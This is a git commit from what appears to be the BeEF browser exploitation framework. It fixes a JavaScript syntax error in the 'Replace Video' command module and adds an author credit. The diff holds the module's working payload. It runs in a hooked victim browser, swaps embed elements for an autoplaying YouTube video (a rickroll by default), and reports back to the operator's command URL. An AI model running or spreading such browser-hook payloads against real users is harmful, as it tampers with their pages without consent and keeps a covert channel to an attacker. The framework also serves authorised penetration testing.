(Fixes issue 273): fixed JS syntax error that prevented the module working in all the browsers.

git-svn-id: https://beef.googlecode.com/svn/trunk@992 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-06-08 10:45:39 +00:00
parent 3a82214e43
commit 9f0bb61671
3 changed files with 8 additions and 7 deletions

View File

@@ -1,8 +1,9 @@
beef.execute(function() {
$j('<%= @jquery_selector %>').each(
var width = $j(this).css('width');
var height = $j(this).css('height');
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
);
$j('<%= @jquery_selector %>').each(function(){
console.log(this);
var width = $j(this).css('width');
var height = $j(this).css('height');
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull");
});

View File

@@ -5,6 +5,6 @@ beef:
category: "Misc"
name: "Replace Video"
description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)."
authors: ["Yori Kvitchko"]
authors: ["Yori Kvitchko", "antisnatchor"]
target:
user_notify: ['ALL']

View File

@@ -8,7 +8,7 @@ class Replace_video < BeEF::Core::Command
'Name' => 'Replace Video',
'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).',
'Category' => 'Misc',
'Author' => 'Yori Kvitchko',
'Author' => ['Yori Kvitchko','antisnatchor'],
'Data' =>
[
{'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'XZ5TajZYW6Y', 'width'=>'150px'},